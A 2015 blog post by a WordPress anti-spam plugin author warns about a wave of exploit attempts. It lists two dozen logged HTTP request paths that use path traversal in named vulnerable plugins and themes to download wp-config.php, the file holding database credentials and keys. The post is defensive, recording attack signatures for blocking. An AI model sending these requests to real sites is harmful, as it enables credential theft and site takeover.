Blogs Eye

I got a whole bunch of new exploit attempts this weekend. I’ve added these to the 6.00 Stop Spammer plugin so I should be protected.

The exploit uses insecure plugins and themes to try to download your wp-config file. The file has your security keys and database user and password, so there is potentially some significant stuff there.

watch out for these:

/wp-content/force-download.php?file=../wp-config.php HTTP/1.1
/wp-content/plugins/ajax-store-locator-wordpress_0/sl_file_download.php?download_file=../../../wp-config.php HTTP/1.1
/wp-content/plugins/filedownload/download.php/?path=../../../wp-config.php HTTP/1.1
/wp-content/plugins/google-mp3-audio-player/direct_download.php?file=../../../wp-config.php HTTP/1.1
/wp-content/plugins/pica-photo-gallery/picadownload.php?imgname=../../../wp-config.php HTTP/1.1
/wp-content/plugins/plugin-newsletter/preview.php?data=../../../../wp-config.php HTTP/1.1
/wp-content/plugins/simple-download-button-shortcode/simple-download-button_dl.php?file=../../../../wp-config.php HTTP/1.1
/wp-content/plugins/tinymce-thumbnail-gallery/php/download-image.php?href=../../../../wp-config.php HTTP/1.1
/wp-content/themes/MichaelCanthony/download.php?file=../../../wp-config.php HTTP/1.1
/wp-content/themes/Newspapertimes_1/download.php?filename=../../../wp-config.php HTTP/1.1
/wp-content/themes/SMWF/inc/download.php?file=../../../../wp-config.php HTTP/1.1
/wp-content/themes/TheLoft/download.php?file=../../../wp-config.php HTTP/1.1
/wp-content/themes/acento/includes/view-pdf.php?download=1&file=../../../../wp-config.php HTTP/1.1
/wp-content/themes/churchope/lib/downloadlink.php?file=../../../../wp-config.php HTTP/1.1
/wp-content/themes/corporate_works/downloader.php?file_download=../../../wp-config.php HTTP/1.1
/wp-content/themes/felis/download.php?file=../../../wp-config.php HTTP/1.1
/wp-content/themes/jarida/download.php?uri=../../../wp-config.php HTTP/1.1
/wp-content/themes/lote27/download.php?download=../../../wp-config.php HTTP/1.1
/wp-content/themes/markant/download.php?file=../../../wp-config.php HTTP/1.1
/wp-content/themes/parallelus-mingle/framework/utilities/download/getfile.php?file=../../../../../../wp-config.php HTTP/1.1
/wp-content/themes/parallelus-salutation/framework/utilities/download/getfile.php?file=../../../../../../wp-config.php HTTP/1.1
/wp-content/themes/tess/download.php?file=../../../wp-config.php HTTP/1.1
/wp-content/themes/yakimabait/download.php?file=../../../wp-config.php HTTP/1.1
/wp-content/themes/ypo-theme/download.php?download=../../../wp-config.php HTTP/1.1


This entry was posted on Monday, February 16th, 2015 at 4:24 pm and is filed under Uncategorized. You can follow any responses to this entry through the RSS 2.0 feed. You can skip to the end and leave a response. Pinging is currently not allowed.